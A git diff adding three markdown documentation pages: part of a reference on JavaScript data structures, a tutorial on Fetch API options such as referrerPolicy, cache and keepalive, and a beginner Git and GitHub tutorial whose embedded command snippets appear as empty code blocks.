+### [Symbol type](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#symbol_type "Permalink to Symbol type")
+
+A Symbol is a **unique** and **immutable** primitive value and may be used as the key of an Object property (see below). In some programming languages, Symbols are called "atoms".
+
+For more details see [Symbol](https://developer.mozilla.org/en-US/docs/Glossary/Symbol) and the [`Symbol`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol)object wrapper in JavaScript.
+
+## [Objects](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#objects "Permalink to Objects")
+
+In computer science, an object is a value in memory which is possibly referenced by an [identifier](https://developer.mozilla.org/en-US/docs/Glossary/Identifier).
+
+### [Properties](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#properties "Permalink to Properties")
+
+In JavaScript, objects can be seen as a collection of properties. With the [object literal syntax](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#object_literals), a limited set of properties are initialized; then properties can be added and removed. Property values can be values of any type, including other objects, which enables building complex data structures. Properties are identified using *key*values. A *key* value is either a [String value](https://developer.mozilla.org/en-US/docs/Glossary/String) or a [Symbol value](https://developer.mozilla.org/en-US/docs/Glossary/Symbol).
+
+There are two types of object properties: The [*data* property](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#data_property) and the [*accessor* property](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#accessor_property).
+
+**Note:** Each property has corresponding *attributes*. Attributes are used internally by the JavaScript engine, so you cannot directly access them. That's why attributes are listed in double square brackets, rather than single.
+
+See [`Object.defineProperty()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty) to learn more.
+
+#### Data property
+
+Associates a key with a value, and has the following attributes:
+
+|                   |                     |                                                                                                                                                                  |             |
+| ----------------- | ------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------- |
+| \[[Value]]        | Any JavaScript type | The value retrieved by a get access of the property.                                                                                                             | `undefined` |
+| \[[Writable]]     | Boolean             | If `false`, the property's \[[Value]] cannot be changed.                                                                                                         | `false`     |
+| \[[Enumerable]]   | Boolean             |                                                                                                                                                                  | `false`     |
+| \[[Configurable]] | Boolean             | If `false`, the property cannot be deleted, cannot be changed to an accessor property, and attributes other than \[[Value]] and \[[Writable]] cannot be changed. | `false`     |
+
+|            |         |                                                        |
+| ---------- | ------- | ------------------------------------------------------ |
+| Read-only  | Boolean | Reversed state of the ES5 \[[Writable]] attribute.     |
+| DontEnum   | Boolean | Reversed state of the ES5 \[[Enumerable]] attribute.   |
+| DontDelete | Boolean | Reversed state of the ES5 \[[Configurable]] attribute. |
+
+#### Accessor property
+
+Associates a key with one of two accessor functions (`get` and `set`) to retrieve or store a value.
+
+**Note:** It's important to recognize it's accessor *property* — not accessor *method*. We can give a JavaScript object class-like accessors by using a function as a value — but that doesn't make the object a class.
+
+An accessor property has the following attributes:
+
+|                   |                                |                                                                                                                                                                                                                                                       |             |
+| ----------------- | ------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------- |
+| \[[Get]]          | Function object or `undefined` | The function is called with an empty argument list and retrieves the property value whenever a get access to the value is performed. See also [`get`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/get).               | `undefined` |
+| \[[Set]]          | Function object or `undefined` | The function is called with an argument that contains the assigned value and is executed whenever a specified property is attempted to be changed. See also [`set`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/set). | `undefined` |
+| \[[Enumerable]]   | Boolean                        | If `true`, the property will be enumerated in [`for...in`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in)loops.                                                                                               | `false`     |
+| \[[Configurable]] | Boolean                        | If `false`, the property can't be deleted and can't be changed to a data property.                                                                                                                                                                    | `false`     |
+
+### ["Normal" objects, and functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#normal_objects_and_functions 'Permalink to "Normal" objects, and functions')
+
+A JavaScript object is a mapping between *keys*and *values*. Keys are strings (or Symbols), and *values* can be anything. This makes objects a natural fit for [hashmaps](https://en.wikipedia.org/wiki/Hash_table).
+
+Functions are regular objects with the additional capability of being *callable*.
+
+### [Dates](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#dates "Permalink to Dates")
+
+When representing dates, the best choice is to use the built-in [`Date` utility](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date) in JavaScript.
+
+### [Indexed collections: Arrays and typed Arrays](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#indexed_collections_arrays_and_typed_arrays "Permalink to Indexed collections: Arrays and typed Arrays")
+
+[Arrays](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array) are regular objects for which there is a particular relationship between integer-keyed properties and the `length` property.
+
+Additionally, arrays inherit from `Array.prototype`, which provides to them a handful of convenient methods to manipulate arrays. For example, [`indexOf()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf) (searching a value in the array) or [`push()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push) (adding an element to the array), and so on. This makes Arrays a perfect candidate to represent lists or sets.
+
+[Typed Arrays](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays) are new to JavaScript with ECMAScript 2015, and present an array-like view of an underlying binary data buffer. The following table helps determine the equivalent C data types:
+
+|                                                                                                                           |                              |     |                                                                              |                       |                                 |
+| ------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | --- | ---------------------------------------------------------------------------- | --------------------- | ------------------------------- |
+| [`Int8Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Int8Array)                 | `-128` to `127`              | 1   | 8-bit two's complement signed integer                                        | `byte`                | `int8_t`                        |
+| [`Uint8Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint8Array)               | `0` to `255`                 | 1   | 8-bit unsigned integer                                                       | `octet`               | `uint8_t`                       |
+| [`Uint8ClampedArray`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint8ClampedArray) | `0` to `255`                 | 1   | 8-bit unsigned integer (clamped)                                             | `octet`               | `uint8_t`                       |
+| [`Int16Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Int16Array)               | `-32768` to `32767`          | 2   | 16-bit two's complement signed integer                                       | `short`               | `int16_t`                       |
+| [`Uint16Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint16Array)             | `0` to `65535`               | 2   | 16-bit unsigned integer                                                      | `unsigned short`      | `uint16_t`                      |
+| [`Int32Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Int32Array)               | `-2147483648`to `2147483647` | 4   | 32-bit two's complement signed integer                                       | `long`                | `int32_t`                       |
+| [`Uint32Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint32Array)             | `0` to `4294967295`          | 4   | 32-bit unsigned integer                                                      | `unsigned long`       | `uint32_t`                      |
+| [`Float32Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Float32Array)           | `1.2E-38` to `3.4E38`        | 4   | 32-bit IEEE floating point number (7 significant digits e.g., `1.1234567`)   | `unrestricted float`  | `float`                         |
+| [`Float64Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Float64Array)           | `5E-324` to `1.8E308`        | 8   | 64-bit IEEE floating point number (16 significant digits e.g., `1.123...15`) | `unrestricted double` | `double`                        |
+| [`BigInt64Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt64Array)         | `-2^63` to `2^63 - 1`        | 8   | 64-bit two's complement signed integer                                       | `bigint`              | `int64_t (signed long long)`    |
+| [`BigUint64Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigUint64Array)       | `0` to `2^64 - 1`            | 8   | 64-bit unsigned integer                                                      | `bigint`              | `uint64_t (unsigned long long)` |
+
+### [Keyed collections: Maps, Sets, WeakMaps, WeakSets](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#keyed_collections_maps_sets_weakmaps_weaksets "Permalink to Keyed collections: Maps, Sets, WeakMaps, WeakSets")
+
+These data structures, introduced in ECMAScript Edition 6, take object references as keys. [`Set`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set)and [`WeakSet`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet) represent a set of objects, while [`Map`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) and [`WeakMap`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap) associate a value to an object.
+
+The difference between `Map`s and `WeakMap`s is that in the former, object keys can be enumerated over. This allows garbage collection optimizations in the latter case.
+
+One could implement `Map`s and `Set`s in pure ECMAScript 5. However, since objects cannot be compared (in the sense of `<` "less than", for instance), look-up performance would necessarily be linear. Native implementations of them (including `WeakMap`s) can have look-up performance that is approximately logarithmic to constant time.
+
+Usually, to bind data to a DOM node, one could set properties directly on the object, or use `data-*` attributes. This has the downside that the data is available to any script running in the same context. `Map`s and `WeakMap`s make it easy to *privately* bind data to an object.
+
+### [Structured data: JSON](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#structured_data_json "Permalink to Structured data: JSON")
+
+JSON (**J**ava**S**cript **O**bject **N**otation) is a lightweight data-interchange format, derived from JavaScript, but used by many programming languages. JSON builds universal data structures.
+
+See [JSON](https://developer.mozilla.org/en-US/docs/Glossary/JSON) and [`JSON`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON) for more details.
+
+### [More objects in the standard library](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#more_objects_in_the_standard_library "Permalink to More objects in the standard library")
+
+JavaScript has a standard library of built-in objects.
+
+Please have a look at the [reference](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects) to find out about more objects.
+
+## [Determining types using the `typeof` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#determining_types_using_the_typeof_operator "Permalink to Determining types using the typeof operator")
+
+The `typeof` operator can help you to find the type of your variable.
+
+Please read the [reference page](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof) for more details and edge cases.
+
+## [See also](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#see_also "Permalink to See also")
+
+* [JavaScript Data Structures and Algorithms by Oleksii Trekhleb](https://github.com/trekhleb/javascript-algorithms)
+* [Nicholas Zakas collection of common data structure and common algorithms in JavaScript.](https://github.com/nzakas/computer-science-in-javascript/)
+* [Search Tre(i)es implemented in JavaScript](https://github.com/monmohan/DataStructures_In_Javascript)
+* [Data Types and Values in the ECMAScript specification](https://tc39.es/ecma262/#sec-ecmascript-data-types-and-values)
diff --git a/src/pages/docs/fetch-api/fetch-api.md b/src/pages/docs/fetch-api/fetch-api.md
new file mode 100644
index 0000000000..ed06178d3b
--- /dev/null
+++ b/src/pages/docs/fetch-api/fetch-api.md
@@ -0,0 +1,236 @@
+---
+title: Fetch API
+template: docs
+excerpt: So far, we know quite a bit about fetch
+---
+
+# Fetch API
+
+So far, we know quite a bit about `fetch`.
+
+Let's see the rest of API, to cover all its abilities.
+
+```text
+Please note: most of these options are used rarely. You may skip this chapter and still use `fetch` well.
+
+Still, it's good to know what `fetch` can do, so if the need arises, you can return and read the details.
+```
+
+Here's the full list of all possible `fetch` options with their default values (alternatives in comments):
+
+```js
+//
+let promise = fetch(url, {
+  method: "GET", // POST, PUT, DELETE, etc.
+  headers: {
+    // the content type header value is usually auto-set
+    // depending on the request body
+    "Content-Type": "text/plain;charset=UTF-8"
+  },
+  body: undefined // string, FormData, Blob, BufferSource, or URLSearchParams
+  referrer: "about:client", // or "" to send no Referer header,
+  // or an url from the current origin
+  referrerPolicy: "no-referrer-when-downgrade", // no-referrer, origin, same-origin...
+  mode: "cors", // same-origin, no-cors
+  credentials: "same-origin", // omit, include
+  cache: "default", // no-store, reload, no-cache, force-cache, or only-if-cached
+  redirect: "follow", // manual, error
+  integrity: "", // a hash, like "sha256-abcdef1234567890"
+  keepalive: false, // true
+  signal: undefined, // AbortController to abort request
+  window: window // null
+});
+```
+
+An impressive list, right?
+
+We fully covered `method`, `headers` and `body` in the chapter <info:fetch>.
+
+The `signal` option is covered in <info:fetch-abort>.
+
+Now let's explore the remaining capabilities.
+
+## referrer, referrerPolicy
+
+These options govern how `fetch` sets the HTTP `Referer` header.
+
+Usually that header is set automatically and contains the url of the page that made the request. In most scenarios, it's not important at all, sometimes, for security purposes, it makes sense to remove or shorten it.
+
+**The `referrer` option allows to set any `Referer` (within the current origin) or remove it.**
+
+To send no referer, set an empty string:
+
+```js
+//
+fetch('/page', {
+*!*
+  referrer: "" // no Referer header
+*/!*
+});
+```
+
+To set another url within the current origin:
+
+```js
+//
+fetch('/page', {
+  // assuming we're on https://javascript.info
+  // we can set any Referer header, but only within the current origin
+*!*
+  referrer: "https://javascript.info/anotherpage"
+*/!*
+});
+```
+
+**The `referrerPolicy` option sets general rules for `Referer`.**
+
+Requests are split into 3 types:
+
+1. Request to the same origin.
+2. Request to another origin.
+3. Request from HTTPS to HTTP (from safe to unsafe protocol).
+
+Unlike the `referrer` option that allows to set the exact `Referer` value, `referrerPolicy` tells the browser general rules for each request type.
+
+Possible values are described in the [Referrer Policy specification](https://w3c.github.io/webappsec-referrer-policy/):
+
+-   **`"no-referrer-when-downgrade"`** -- the default value: full `Referer` is always sent, unless we send a request from HTTPS to HTTP (to the less secure protocol).
+-   **`"no-referrer"`** -- never send `Referer`.
+-   **`"origin"`** -- only send the origin in `Referer`, not the full page URL, e.g. only `http://site.com` instead of `http://site.com/path`.
+-   **`"origin-when-cross-origin"`** -- send the full `Referer` to the same origin, but only the origin part for cross-origin requests (as above).
+-   **`"same-origin"`** -- send the full `Referer` to the same origin, but no `Referer` for cross-origin requests.
+-   **`"strict-origin"`** -- send only the origin, not the `Referer` for HTTPS→HTTP requests.
+-   **`"strict-origin-when-cross-origin"`** -- for same-origin send the full `Referer`, for cross-origin send only the origin, unless it's HTTPS→HTTP request, then send nothing.
+-   **`"unsafe-url"`** -- always send the full url in `Referer`, even for HTTPS→HTTP requests.
+
+Here's a table with all combinations:
+
+| Value                                            | To same origin | To another origin | HTTPS→HTTP |
+| ------------------------------------------------ | -------------- | ----------------- | ---------- |
+| `"no-referrer"`                                  | -              | -                 | -          |
+| `"no-referrer-when-downgrade"` or `""` (default) | full           | full              | -          |
+| `"origin"`                                       | origin         | origin            | origin     |
+| `"origin-when-cross-origin"`                     | full           | origin            | origin     |
+| `"same-origin"`                                  | full           | -                 | -          |
+| `"strict-origin"`                                | origin         | origin            | -          |
+| `"strict-origin-when-cross-origin"`              | full           | origin            | -          |
+| `"unsafe-url"`                                   | full           | full              | full       |
+
+Let's say we have an admin zone with a URL structure that shouldn't be known from outside of the site.
+
+If we send a `fetch`, then by default it always sends the `Referer` header with the full url of our page (except when we request from HTTPS to HTTP, then no `Referer`).
+
+E.g. `Referer: https://javascript.info/admin/secret/paths`.
+
+If we'd like other websites know only the origin part, not the URL-path, we can set the option:
+
+```js
+//
+fetch('https://another.com/page', {
+    // ...
+    referrerPolicy: 'origin-when-cross-origin' // Referer: https://javascript.info
+});
+```
+
+We can put it to all `fetch` calls, maybe integrate into JavaScript library of our project that does all requests and uses `fetch` inside.
+
+Its only difference compared to the default behavior is that for requests to another origin `fetch` sends only the origin part of the URL (e.g. `https://javascript.info`, without path). For requests to our origin we still get the full `Referer` (maybe useful for debugging purposes).
+
+```text header="Referrer policy is not only for `fetch`" Referrer policy, described in the [specification](https://w3c.github.io/webappsec-referrer-policy/), is not just for `fetch`, but more global.
+
+In particular, it's possible to set the default policy for the whole page using the `Referrer-Policy` HTTP header, or per-link, with `<a rel="noreferrer">`.
+
+````
+
+## mode
+
+The `mode` option is a safe-guard that prevents occasional cross-origin requests:
+
+- **`"cors"`** -- the default, cross-origin requests are allowed, as described in <info:fetch-crossorigin>,
+- **`"same-origin"`** -- cross-origin requests are forbidden,
+- **`"no-cors"`** -- only safe cross-origin requests are allowed.
+
+This option may be useful when the URL for `fetch` comes from a 3rd-party, and we want a "power off switch" to limit cross-origin capabilities.
+
+## credentials
+
+The `credentials` option specifies whether `fetch` should send cookies and HTTP-Authorization headers with the request.
+
+- **`"same-origin"`** -- the default, don't send for cross-origin requests,
+- **`"include"`** -- always send, requires `Accept-Control-Allow-Credentials` from cross-origin server in order for JavaScript to access the response, that was covered in the chapter <info:fetch-crossorigin>,
+- **`"omit"`** -- never send, even for same-origin requests.
+
+## cache
+
+By default, `fetch` requests make use of standard HTTP-caching. That is, it respects the `Expires` and `Cache-Control` headers, sends `If-Modified-Since` and so on. Just like regular HTTP-requests do.
+
+The `cache` options allows to ignore HTTP-cache or fine-tune its usage:
+
+- **`"default"`** -- `fetch` uses standard HTTP-cache rules and headers,
+- **`"no-store"`** -- totally ignore HTTP-cache, this mode becomes the default if we set a header `If-Modified-Since`, `If-None-Match`, `If-Unmodified-Since`, `If-Match`, or `If-Range`,
+- **`"reload"`** -- don't take the result from HTTP-cache (if any), but populate the cache with the response (if the response headers permit this action),
+- **`"no-cache"`** -- create a conditional request if there is a cached response, and a normal request otherwise. Populate HTTP-cache with the response,
+- **`"force-cache"`** -- use a response from HTTP-cache, even if it's stale. If there's no response in HTTP-cache, make a regular HTTP-request, behave normally,
+- **`"only-if-cached"`** -- use a response from HTTP-cache, even if it's stale. If there's no response in HTTP-cache, then error. Only works when `mode` is `"same-origin"`.
+
+## redirect
+
+Normally, `fetch` transparently follows HTTP-redirects, like 301, 302 etc.
+
+The `redirect` option allows to change that:
+
+- **`"follow"`** -- the default, follow HTTP-redirects,
+- **`"error"`** -- error in case of HTTP-redirect,
+- **`"manual"`** -- allows to process HTTP-redirects manually. In case of redirect, we'll get a special response object, with `response.type="opaqueredirect"` and zeroed/empty status and most other properies.
+
+## integrity
+
+The `integrity` option allows to check if the response matches the known-ahead checksum.
+
+As described in the [specification](https://w3c.github.io/webappsec-subresource-integrity/), supported hash-functions are SHA-256, SHA-384, and SHA-512, there might be others depending on the browser.
+
+For example, we're downloading a file, and we know that it's SHA-256 checksum is "abcdef" (a real checksum is longer, of course).
+
+We can put it in the `integrity` option, like this:
+
+```js
+//
+fetch('http://site.com/file', {
+  integrity: 'sha256-abcdef'
+});
+````
+
+Then `fetch` will calculate SHA-256 on its own and compare it with our string. In case of a mismatch, an error is triggered.
+
+## keepalive
+
+The `keepalive` option indicates that the request may "outlive" the webpage that initiated it.
+
+For example, we gather statistics on how the current visitor uses our page (mouse clicks, page fragments he views), to analyze and improve the user experience.
+
+When the visitor leaves our page -- we'd like to save the data to our server.
+
+We can use the `window.onunload` event for that:
+
+```js
+// run
+window.onunload = function() {
+  fetch('/analytics', {
+    method: 'POST',
+    body: "statistics",
+*!*
+    keepalive: true
+*/!*
+  });
+};
+```
+
+Normally, when a document is unloaded, all associated network requests are aborted. But the `keepalive` option tells the browser to perform the request in the background, even after it leaves the page. So this option is essential for our request to succeed.
+
+It has a few limitations:
+
+-   We can't send megabytes: the body limit for `keepalive` requests is 64KB.
+    -   If we need to gather a lot of statistics about the visit, we should send it out regularly in packets, so that there won't be a lot left for the last `onunload` request.
+    -   This limit applies to all `keepalive` requests together. In other words, we can perform multiple `keepalive` requests in parallel, but the sum of their body lengths should not exceed 64KB.
+-   We can't handle the server response if the document is unloaded. So in our example `fetch` will succeed due to `keepalive`, but subsequent functions won't work.
+    -   In most cases, such as sending out statistics, it's not a problem, as the server just accepts the data and usually sends an empty response to such requests.
diff --git a/src/pages/docs/git/git-tutorial.md b/src/pages/docs/git/git-tutorial.md
new file mode 100644
index 0000000000..ea488baab0
--- /dev/null
+++ b/src/pages/docs/git/git-tutorial.md
@@ -0,0 +1,231 @@
+---
+title: Github Tutorial
+template: docs
+excerpt: To use git we'll be using the terminal.
+---
+
+<!--StartFragment-->
+
+## Step 1: Create a local git repository
+
+When creating a new project on your local machine using git, you'll first create a new [repository](https://git-scm.com/book/en/v2/Git-Basics-Getting-a-Git-Repository) (or often, 'repo', for short).
+
+To use git we'll be using the terminal. If you don't have much experience with the terminal and basic commands, [check out this tutorial](https://ubuntu.com/tutorials/command-line-for-beginners#1-overview) (If you don’t want/ need a short history lesson, skip to step three.)
+
+To begin, open up a terminal and move to where you want to place the project on your local machine using the cd (change directory) command. For example, if you have a 'projects' folder on your desktop, you'd do something like:
+
+```
+
+```
+
+[view raw](https://gist.github.com/cubeton/67a84eb876984f0b5785/raw/d4560016d742865c1fd68d97fcff1feb557d5e19/terminalcd.md)[terminalcd.md ](https://gist.github.com/cubeton/67a84eb876984f0b5785#file-terminalcd-md)hosted with ❤ by [GitHub](https://github.com/)
+
+To initialize a git repository in the root of the folder, run the [git init](http://git-scm.com/docs/git-init) command:
+
+```
+
+```
+
+[view raw](https://gist.github.com/cubeton/89793ba1bc947f64658e/raw/f3dba1dd72fda5eeb98b761338aedfc310d29d54/gitinit.md)[gitinit.md ](https://gist.github.com/cubeton/89793ba1bc947f64658e#file-gitinit-md)hosted with ❤ by [GitHub](https://github.com/)
+
+## Step 2: Add a new file to the repo
+
+Go ahead and add a new file to the project, using any text editor you like or running a [touch](http://linux.die.net/man/1/touch) command. \`touch newfile.txt\` just creates and saves a blank file named newfile.txt.
+
+Once you've added or modified files in a folder containing a git repo, git will notice that  the file exists inside the repo. But, git won't track the file unless you explicitly tell it to. Git only saves/manages changes to files that it *tracks*, so we’ll need to send a command to confirm that yes, we want git to track our new file.
+
+```
+
+```
+
+[view raw](https://gist.github.com/cubeton/2d8f224bede4c2dde86b/raw/b865e27cc4715b3a3a4a5839e77ab232ff1b31f9/addfile.md)[addfile.md ](https://gist.github.com/cubeton/2d8f224bede4c2dde86b#file-addfile-md)hosted with ❤ by [GitHub](https://github.com/)
+
+After creating the new file, you can use the [git status](http://git-scm.com/docs/git-status) command to see which files git knows exist.
+
+```
+
+```
+
+[view raw](https://gist.github.com/cubeton/02e849bbffcbea1e9a61/raw/71c93139666a8a4e06795f53c9aec5db95e6019a/gitstatus.md)[gitstatus.md ](https://gist.github.com/cubeton/02e849bbffcbea1e9a61#file-gitstatus-md)hosted with ❤ by [GitHub](https://github.com/)
+
+What this basically says is, "Hey, we noticed you created a new file called mnelson.txt, but unless you use the 'git add' command we aren't going to do anything with it."
+
+> #### An interlude: The staging environment, the commit, and you
+>
+> One of the most confusing parts when you're first learning git is the concept of the staging environment and how it relates to a commit.
+>
+> A [commit](https://docs.github.com/en/free-pro-team@latest/github/getting-started-with-github/github-glossary#:~:text=the%20repository%20owner.-,commit,who%20made%20them%20and%20when.) is a record of what changes you have made since the last time you made a commit. Essentially, you make changes to your repo (for example, adding a file or modifying one) and then tell git to put those changes into a commit.
+>
+> Commits make up the essence of your project and allow you to jump to the state of a project at any other commit.
+>
+> So, how do you tell git which files to put into a commit? This is where the [staging environment or index](https://git-scm.com/book/en/v2/Git-Basics-Recording-Changes-to-the-Repository) come in. As seen in Step 2, when you make changes to your repo, git notices that a file has changed but won't do anything with it (like adding it in a commit).
+>
+> To add a file to a commit, you first need to add it to the staging environment. To do this, you can use the [git add](http://git-scm.com/docs/git-add) <filename> command (see Step 3 below).
+>
+> Once you've used the git add command to add all the files you want to the staging environment, you can then tell git to package them into a commit using the [git commit](http://git-scm.com/docs/git-commit) command.
+>
+> Note: The staging environment, also called 'staging', is the new preferred term for this, but you can also see it referred to as the 'index'.
+
+## Step 3: Add a file to the staging environment
+
+Add a file to the staging environment using the git add command.
+
+If you rerun the git status command, you'll see that git has added the file to the staging environment (notice the "Changes to be committed" line).
+
+```
+
+```
+
+[view raw](https://gist.github.com/cubeton/28f7bea3b232f67e031c/raw/875157cd78d75c23f3f0e29bf0c97989e3d52937/addtostaging.md)[addtostaging.md ](https://gist.github.com/cubeton/28f7bea3b232f67e031c#file-addtostaging-md)hosted with ❤ by [GitHub](https://github.com/)
+
+To reiterate, the file has **not** yet been added to a commit, but it's about to be.
+
+## Step 4: Create a commit
+
+It's time to create your first commit!
+
+Run the command `git commit -m "Your message about the commit"`
+
+```
+
+```
+
+[view raw](https://gist.github.com/cubeton/1068d965d147b4039e4d/raw/5c3262c3f6e3c28328ba57ea33c512dbab149fcf/commit.md)[commit.md ](https://gist.github.com/cubeton/1068d965d147b4039e4d#file-commit-md)hosted with ❤ by [GitHub](https://github.com/)
+
+The message at the end of the commit should be something related to what the commit contains - maybe it's a new feature, maybe it's a bug fix, maybe it's just fixing a typo. Don't put a message like "asdfadsf" or "foobar". That makes the other people who see your commit sad. Very, very, sad. Commits live forever in a repository (technically you *can* delete them if you really, really need to but it’s messy), so if you leave a clear explanation of your changes it can be extremely helpful for future programmers (perhaps future you!) who are trying to figure out why some change was made years later.
+
+## Step 5: Create a new branch
+
+Now that you've made a new commit, let's try something a little more advanced.
+
+Say you want to make a new feature but are worried about making changes to the main project while developing the feature. This is where [git branches](https://git-scm.com/book/en/v2/Git-Branching-Branches-in-a-Nutshell) come in.
+
+Branches allow you to move back and forth between 'states' of a project. Official git docs describe branches this way: ‘A branch in Git is simply a lightweight movable pointer to one of these commits.’ For instance, if you want to add a new page to your website you can create a new branch just for that page without affecting the main part of the project. Once you're done with the page, you can [merge](https://git-scm.com/book/en/v2/Git-Branching-Basic-Branching-and-Merging) your changes from your branch into the primary branch. When you create a new branch, Git keeps track of which commit your branch 'branched' off of, so it knows the history behind all the files.
+
+Let's say you are on the primary branch and want to create a new branch to develop your web page. Here's what you'll do: Run [git checkout -b <my branch name>](http://git-scm.com/docs/git-checkout). This command will automatically create a new branch and then 'check you out' on it, meaning git will move you to that branch, off of the primary branch.
+
+After running the above command, you can use the [git branch](http://git-scm.com/docs/git-branch) command to confirm that your branch was created:
+
+```
+
+```
+
+[view raw](https://gist.github.com/cubeton/fa25a25f322a2cd5f405/raw/81033788d288adeffe260bd724ab2699b29e3e35/gitbranch.md)[gitbranch.md ](https://gist.github.com/cubeton/fa25a25f322a2cd5f405#file-gitbranch-md)hosted with ❤ by [GitHub](https://github.com/)
+
+The branch name with the asterisk next to it indicates which branch you're on at that given time.
+
+> #### A note on branch names
+>
+> By default, every git repository’s first branch is named \`master\` (and is typically used as the primary branch in the project). As part of the tech industry’s general anti-racism work, some groups have begun to use alternate names for the default branch (we are using “primary” in this tutorial, for example). In other documentation and discussions, you may see “master”, or other terms, used to refer to the primary branch. Regardless of the name, just keep in mind that nearly every repository has a primary branch that can be thought of as the official version of the repository. If it’s a website, then the primary branch is the version that users see. If it’s an application, then the primary branch is the version that users download. This isn’t *technically* necessary (git doesn’t treat any branches differently from other branches), but it’s how git is traditionally used in a project.
+>
+> If you are curious about the decision to use different default branch names, GitHub has an explanation of *their* change here: <https://github.com/github/renaming>
+>
+> Now, if you switch back to the primary branch and make some more commits, your new branch won't see any of those changes until you [merge](http://git-scm.com/docs/git-merge) those changes onto your new branch.
+
+## Step 6: Create a new repository on GitHub
+
+If you only want to keep track of your code locally, you don't need to use GitHub. But if you want to work with a team, you can use GitHub to collaboratively modify the project's code.
+
+To create a new repo on GitHub, log in and go to the GitHub home page. You can find the “New repository” option under the “+” sign next to your profile picture, in the top right corner of the navbar:
+
+![Git_1](https://product.hubspot.com/hs-fs/hubfs/Git_1.png?width=600&name=Git_1.png)
+
+
+
+After clicking the button, GitHub will ask you to name your repo and provide a brief description:
+
+![Git_2](https://product.hubspot.com/hs-fs/hubfs/Git_2.png?width=512&name=Git_2.png)
+
+When you're done filling out the information, press the 'Create repository' button to make your new repo.
+
+GitHub will ask if you want to create a new repo from scratch or if you want to add a repo you have created locally. In this case, since we've already created a new repo locally, we want to push that onto GitHub so follow the '....or push an existing repository from the command line' section:
+
+```
+
+```
+
+[view raw](https://gist.github.com/cubeton/3a2616c44e35ca68a6b0/raw/41e5758cfdbd7db8a1659c1adaba9346680097f9/addgithub.md)[addgithub.md ](https://gist.github.com/cubeton/3a2616c44e35ca68a6b0#file-addgithub-md)hosted with ❤ by [GitHub](https://github.com/)
+
+(You'll want to change the URL in the first command line to what GitHub lists in this section since your GitHub username and repo name are different.)
+
+## Step 7: Push a branch to GitHub
+
+Now we'll push the commit in your branch to your new GitHub repo. This allows other people to see the changes you've made. If they're approved by the repository's owner, the changes can then be merged into the primary branch.
+
+To push changes onto a new branch on GitHub, you'll want to run [git push](http://git-scm.com/docs/git-push) origin yourbranchname. GitHub will automatically create the branch for you on the remote repository:
+
+```
+
+```
+
+[view raw](https://gist.github.com/cubeton/bf8274609c344b6d0e70/raw/4764e740cac9a48eefad341d9e34ceb09f89b73f/addnewbranchgithub.md)[addnewbranchgithub.md ](https://gist.github.com/cubeton/bf8274609c344b6d0e70#file-addnewbranchgithub-md)hosted with ❤ by [GitHub](https://github.com/)
+
+You might be wondering what that "origin" word means in the command above. What happens is that when you clone a remote repository to your local machine, git creates an alias for you. In nearly all cases this alias is called "[origin](https://git-scm.com/book/en/v2/Git-Basics-Working-with-Remotes)." It's essentially shorthand for the remote repository's URL. So, to push your changes to the remote repository, you could've used either the command: git push git@github.com:git/git.git yourbranchname or git push origin yourbranchname
+
+(If this is your first time using GitHub locally, it might prompt you to log in with your GitHub username and password.)
+
+If you refresh the GitHub page, you'll see note saying a branch with your name has just been pushed into the repository. You can also click the 'branches' link to see your branch listed there.
+
